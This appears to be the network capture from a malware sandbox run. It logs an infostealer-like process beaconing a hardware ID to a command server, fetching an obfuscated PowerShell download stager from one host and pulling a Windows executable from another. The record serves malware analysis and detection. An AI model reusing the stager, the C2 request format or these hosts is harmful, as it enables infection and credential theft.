2024-12-27 09:21:39 UTC	5043	OUT	Data Raw: e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 c1 d7 cc 07 00 00 00 00 00 Data Ascii: Mn 64F6(X&7~`aO@dR<x)
2024-12-27 09:21:40 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pqqirmqc6nrj2h9i9u533u9j44; expires=Tue, 22 Apr 2025 03:08:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2uLVvcscB3Jc0nmD9DNOutKBPwHL8y8PX2iRj%2FlW2VqS7xKau51Wq9arYS4nQWWiQstws%2BbjII3mKrGfh6ItNIESpg%2FRxss08u%2Fk4dWnZrbgAlEr87ZDvNBLQoDBgKoAD1n2UOc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883ddea9c943a9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1675&min_rtt=1667&rtt_var=641&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21328&delivery_rate=1685912&cwnd=245&unsent_bytes=0&cid=7627d823ce994402&ts=961&x=0"
2024-12-27 09:21:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:21:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49741	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:41 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IHJ0218SYB1Q9LI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1236 Host: walkyvulgari.click
2024-12-27 09:21:41 UTC	1236	OUT	Data Raw: 2d 2d 49 48 4a 30 32 31 38 53 59 42 31 51 39 4c 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 30 45 31 33 31 39 42 45 32 35 45 30 44 34 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 49 48 4a 30 32 31 38 53 59 42 31 51 39 4c 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 48 4a 30 32 31 38 53 59 42 31 51 39 4c 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 31 0d 0a 2d 2d 49 48 4a 30 32 31 38 53 Data Ascii: --IHJ0218SYB1Q9LIContent-Disposition: form-data; name="hwid"F30E1319BE25E0D44EC0E979F11769B5--IHJ0218SYB1Q9LIContent-Disposition: form-data; name="pid"1--IHJ0218SYB1Q9LIContent-Disposition: form-data; name="lid"jMw1IE--l1--IHJ0218S
2024-12-27 09:21:42 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lm4lf8obdmjlq2htmsuhqk7t0v; expires=Tue, 22 Apr 2025 03:08:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dOOGB5m6obOi0t3oRnmZOo05evfGqCmWIJbQRVBG1pqGVkcVVu6zAfeANmncWjTqkJzCy%2BUAcIbp%2FY4%2BTAuzzDkHjW37aty226N%2FBI43%2Bv33shKQ8qSKHzg37mwufvvb%2FllfTNQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883dede9dc4273-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&min_rtt=1573&rtt_var=599&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2152&delivery_rate=1812538&cwnd=32&unsent_bytes=0&cid=e9bdb87909b295c1&ts=789&x=0"
2024-12-27 09:21:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:21:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:43 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DSY32N426ZZ8QQEBTJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1106 Host: walkyvulgari.click
2024-12-27 09:21:43 UTC	1106	OUT	Data Raw: 2d 2d 44 53 59 33 32 4e 34 32 36 5a 5a 38 51 51 45 42 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 33 30 45 31 33 31 39 42 45 32 35 45 30 44 34 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 0d 0a 2d 2d 44 53 59 33 32 4e 34 32 36 5a 5a 38 51 51 45 42 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 53 59 33 32 4e 34 32 36 5a 5a 38 51 51 45 42 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 6a 4d 77 31 49 45 2d 2d 6c 31 0d 0a 2d Data Ascii: --DSY32N426ZZ8QQEBTJContent-Disposition: form-data; name="hwid"F30E1319BE25E0D44EC0E979F11769B5--DSY32N426ZZ8QQEBTJContent-Disposition: form-data; name="pid"1--DSY32N426ZZ8QQEBTJContent-Disposition: form-data; name="lid"jMw1IE--l1-
2024-12-27 09:21:44 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=upcv82u2g7kd309ojqnd5lsqpq; expires=Tue, 22 Apr 2025 03:08:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L0W8ondmdifYQ2Tb6XM6HU9zHayKlQWXgmdyGOEG9IPdgK7Szeav7bJF1mWZzNSHDb3FypC8s8MGnOQivJUcUAGazXmtAv0nZgJ661rf5QI%2BDVvL8Br3uIonCo3mNwlu3qnOkTg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883dfa9c7a42d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1659&min_rtt=1654&rtt_var=630&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2025&delivery_rate=1723730&cwnd=207&unsent_bytes=0&cid=205204e267be2b94&ts=805&x=0"
2024-12-27 09:21:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 09:21:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.94.92	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:45 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 111 Host: walkyvulgari.click
2024-12-27 09:21:45 UTC	111	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 6a 4d 77 31 49 45 2d 2d 6c 31 26 6a 3d 61 61 37 37 65 37 38 62 36 62 30 64 64 31 62 32 32 32 36 65 37 62 37 39 39 35 33 32 61 62 33 61 26 68 77 69 64 3d 46 33 30 45 31 33 31 39 42 45 32 35 45 30 44 34 34 45 43 30 45 39 37 39 46 31 31 37 36 39 42 35 Data Ascii: act=get_message&ver=4.0&lid=jMw1IE--l1&j=aa77e78b6b0dd1b2226e7b799532ab3a&hwid=F30E1319BE25E0D44EC0E979F11769B5
2024-12-27 09:21:46 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m57kkgh4n62otgbmomvus5pc2v; expires=Tue, 22 Apr 2025 03:08:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m2VW7shqOXPjaw8Th2PhfuZgN2DB%2F1sU1CjOtsNZ848qCyxOBQ0CS3c0iYau7VT5qo9C7hYlg0iLfBTthqsiBZYpnR5SMv7C%2FjUPzLM%2Bnq6p8IQATCOEQ3ZusEOmZTm%2BSYoScn0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883e080ba58c42-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1988&min_rtt=1983&rtt_var=755&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1014&delivery_rate=1439842&cwnd=252&unsent_bytes=0&cid=b7a9650e3e24c88a&ts=779&x=0"
2024-12-27 09:21:46 UTC	218	IN	Data Raw: 64 34 0d 0a 7a 50 66 38 4c 72 4d 4b 6a 4d 54 68 56 64 47 67 6e 4b 73 6b 65 55 6c 35 66 78 53 78 64 6d 6c 56 31 46 6e 41 67 4d 31 49 34 2f 69 58 6a 4e 35 62 6b 54 43 75 72 4a 55 68 6f 64 4f 6d 39 77 73 6c 5a 68 6f 61 63 38 52 59 47 6a 32 37 4b 5a 79 76 39 58 33 55 7a 50 37 42 7a 68 71 48 50 4e 44 72 6b 54 33 2f 31 4f 54 66 42 6c 56 72 48 77 73 32 69 30 52 46 64 37 46 37 2b 72 47 77 5a 4a 6a 61 75 64 58 47 44 4e 74 2b 2b 4c 53 53 62 34 32 50 77 49 52 50 46 53 41 4a 44 47 33 4c 47 51 34 77 72 58 65 7a 36 4b 49 34 76 39 65 6c 6d 59 68 78 30 47 62 38 6d 35 49 39 73 49 37 6f 30 31 42 62 5a 56 73 5a 59 4a 4e 4d 57 58 6e 32 50 4f 4b 36 2f 54 57 2b 0d 0a Data Ascii: d4zPf8LrMKjMThVdGgnKskeUl5fxSxdmlV1FnAgM1I4/iXjN5bkTCurJUhodOm9wslZhoac8RYGj27KZyv9X3UzP7BzhqHPNDrkT3/1OTfBlVrHws2i0RFd7F7+rGwZJjaudXGDNt++LSSb42PwIRPFSAJDG3LGQ4wrXez6KI4v9elmYhx0Gb8m5I9sI7o01BbZVsZYJNMWXn2POK6/TW+
2024-12-27 09:21:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	185.161.251.21	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:48 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2024-12-27 09:21:49 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Fri, 27 Dec 2024 09:21:49 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2024-12-27 09:21:49 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	172.67.214.186	443	4348	C:\Users\user\AppData\Local\Temp\723356\Ted.com

Timestamp	Bytes transferred	Direction	Data
2024-12-27 09:21:50 UTC	206	OUT	GET /int_clp_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: klipsyzogey.shop
2024-12-27 09:21:51 UTC	910	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 09:21:51 GMT Content-Type: text/plain Content-Length: 12178693 Connection: close Accept-Ranges: bytes ETag: "1ebab72f39900f4db9d82a4850b32abd" Last-Modified: Thu, 26 Dec 2024 20:14:25 GMT Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8L9MUGbOowH5%2BrDv5063BSEl3%2FXYddID1tJLtTnK5P0Xh15Wwh9y4yCRZdAlmcwkYrTgO8rqT4XwahcwrTh%2BeMnh%2B%2FjFufEYTAxNT5PMbfBzpGEF%2FyF2b97qCR2%2F0x1RiFEK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f883e274caec431-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1615&rtt_var=615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2868&recv_bytes=820&delivery_rate=1766485&cwnd=229&unsent_bytes=0&cid=fde673e1cee986d7&ts=602&x=0"
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 09 4e 61 74 69 76 65 49 6e 74 04 00 00 00 80 ff ff ff 7f 02 00 00 00 74 11 40 00 01 0a 4e 61 74 69 76 65 55 49 6e 74 05 00 00 00 00 ff ff ff ff 02 00 00 90 11 40 00 04 06 53 69 6e 67 6c 65 00 02 00 00 a0 11 40 00 04 08 45 78 74 65 6e 64 65 64 02 02 00 00 00 00 b4 11 40 00 04 06 44 6f 75 62 6c 65 01 02 00 00 c4 11 40 00 04 04 43 6f 6d 70 03 02 00 00 00 00 d4 11 40 00 04 08 43 75 72 72 65 6e 63 79 04 02 00 00 00 00 e8 11 40 00 05 0b 53 68 6f 72 74 53 74 72 69 6e 67 ff 02 00 fc 11 40 00 14 09 50 41 6e 73 69 43 68 61 72 30 10 40 00 02 00 00 00 00 14 12 40 00 14 09 50 57 69 64 65 43 68 61 72 4c 10 40 00 02 00 00 00 00 2c 12 40 00 03 08 42 79 74 65 42 6f 6f 6c 00 00 00 00 80 ff ff ff 7f 28 12 40 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 74 65 6d 02 00 00 Data Ascii: NativeIntt@NativeUInt@Single@Extended@Double@Comp@Currency@ShortString@PAnsiChar0@@PWideCharL@,@ByteBool(@FalseTrueSystem
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 00 02 00 0b 28 9c 4a 00 0c 26 6f 70 5f 4c 65 73 73 54 68 61 6e 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 13 26 6f 70 5f 4c 65 73 73 54 68 61 6e 4f 72 45 71 75 61 6c 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 7c 17 40 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1f 40 00 00 00 00 00 7c 17 40 00 00 00 00 00 92 18 40 00 08 00 00 00 00 00 00 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 22 00 9a 18 40 00 44 00 f4 ff c0 18 40 00 42 00 f4 ff e4 18 40 00 42 00 f4 ff 0d 19 40 00 43 00 f4 ff 4b 19 40 00 42 00 f4 ff 7a 19 40 00 42 00 f4 ff a3 Data Ascii: (J&op_LessThan@@Left@Right(J&op_LessThanOrEqual@@Left@Right\|@@\|@@~@@@@@@@@}@}@}@"@D@B@B@CK@Bz@B
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 41 64 64 72 65 73 73 03 00 00 11 40 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 04 4e 61 6d 65 02 00 02 00 46 00 04 7f 40 00 0c 47 65 74 49 6e 74 65 72 66 61 63 65 03 00 00 10 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 20 00 00 00 00 02 00 03 4f 62 6a 02 00 02 00 3e 00 68 7f 40 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 45 6e 74 72 79 03 00 a0 14 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 02 00 31 00 28 9c 4a 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 54 61 62 6c 65 03 00 2c 15 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 ac 7f 40 00 08 55 6e 69 74 4e 61 6d 65 03 00 b8 12 40 00 08 00 02 00 00 00 00 Data Ascii: Address@@Self@NameF@GetInterface@@Self@@IID Obj>h@GetInterfaceEntry@Self@@IID1(JGetInterfaceTable,@Self3@UnitName@
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 00 00 94 21 40 00 07 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 78 21 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 18 22 40 00 00 00 00 00 00 00 00 00 00 00 00 00 34 22 40 00 00 00 00 00 18 22 40 00 00 00 00 00 1e 22 40 00 08 00 00 00 c4 1f 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 34 22 40 00 07 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 18 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 b8 22 40 Data Ascii: @@}@}@}@UnsafeAttribute!@UnsafeAttributex!@4 @System"@4"@"@"@@~@@@@@@@@}@}@}@VolatileAttribute4"@VolatileAttribute"@4 @System"@
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 74 02 00 02 00 09 e8 89 40 00 08 50 75 6c 73 65 41 6c 6c 00 00 00 00 00 00 01 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 02 00 ec 26 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 20 27 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 e8 26 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 01 00 ff ff 02 00 00 54 27 40 00 0f 09 49 44 69 73 70 61 74 63 68 e8 26 40 00 01 00 04 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 04 00 ff ff 02 00 00 00 00 cc 83 44 24 04 f8 e9 81 ca 00 00 83 44 24 04 f8 e9 9f ca 00 00 83 44 24 04 f8 e9 b1 ca 00 00 cc 85 27 40 00 8f 27 40 00 99 27 40 00 01 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: t@PulseAll@AObject&@IInterfaceFSystem '@IEnumerable&@SystemT'@IDispatch&@FSystemD$D$D$'@'@'@
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 6f 75 6e 74 02 00 cc 10 40 00 02 00 00 00 02 05 46 6c 61 67 73 02 00 9c 10 40 00 04 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 9c 10 40 00 08 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 00 11 40 00 0c 00 00 00 02 04 44 61 74 61 02 00 a8 2b 40 00 10 00 00 00 02 06 42 6f 75 6e 64 73 02 00 02 00 00 00 00 84 2c 40 00 0e 0a 54 56 61 72 52 65 63 6f 72 64 08 00 00 00 00 00 00 00 00 02 00 00 00 00 11 40 00 00 00 00 00 02 07 50 52 65 63 6f 72 64 02 00 00 11 40 00 04 00 00 00 02 07 52 65 63 49 6e 66 6f 02 00 02 00 00 00 00 cc 2c 40 00 0e 08 54 56 61 72 44 61 74 61 10 00 00 00 00 00 00 00 00 20 00 00 00 cc 10 40 00 00 00 00 00 02 05 56 54 79 70 65 02 00 cc 10 40 00 02 00 00 00 02 09 52 65 73 65 72 76 65 64 31 02 00 cc 10 40 00 04 00 00 00 02 09 52 65 Data Ascii: ount@Flags@ElementSize@LockCount@Data+@Bounds,@TVarRecord@PRecord@RecInfo,@TVarData @VType@Reserved1@Re
2024-12-27 09:21:51 UTC	1369	IN	Data Raw: 40 00 00 00 00 00 02 08 56 56 61 72 69 61 6e 74 02 00 00 11 40 00 00 00 00 00 02 0a 56 49 6e 74 65 72 66 61 63 65 02 00 00 11 40 00 00 00 00 00 02 0b 56 57 69 64 65 53 74 72 69 6e 67 02 00 b4 2a 40 00 00 00 00 00 02 06 56 49 6e 74 36 34 02 00 00 11 40 00 00 00 00 00 02 0e 56 55 6e 69 63 6f 64 65 53 74 72 69 6e 67 02 00 54 11 40 00 00 00 00 00 02 0a 5f 52 65 73 65 72 76 65 64 31 02 00 b4 10 40 00 04 00 00 00 02 05 56 54 79 70 65 02 00 02 00 00 00 00 00 00 0c 32 40 00 0e 0b 54 50 74 72 57 72 61 70 70 65 72 04 00 00 00 00 00 00 00 00 01 00 00 00 a0 2a 40 00 00 00 00 00 00 05 56 61 6c 75 65 02 00 02 00 06 00 0a 28 9c 4a 00 06 43 72 65 61 74 65 00 00 00 00 00 00 01 00 54 11 40 00 06 41 56 61 6c 75 65 02 00 02 00 0a c0 f5 40 00 06 43 72 65 61 74 65 00 00 00 00 Data Ascii: @VVariant@VInterface@VWideString@VInt64@VUnicodeStringT@_Reserved1@VType2@TPtrWrapper@Value(JCreateT@AValue@Create
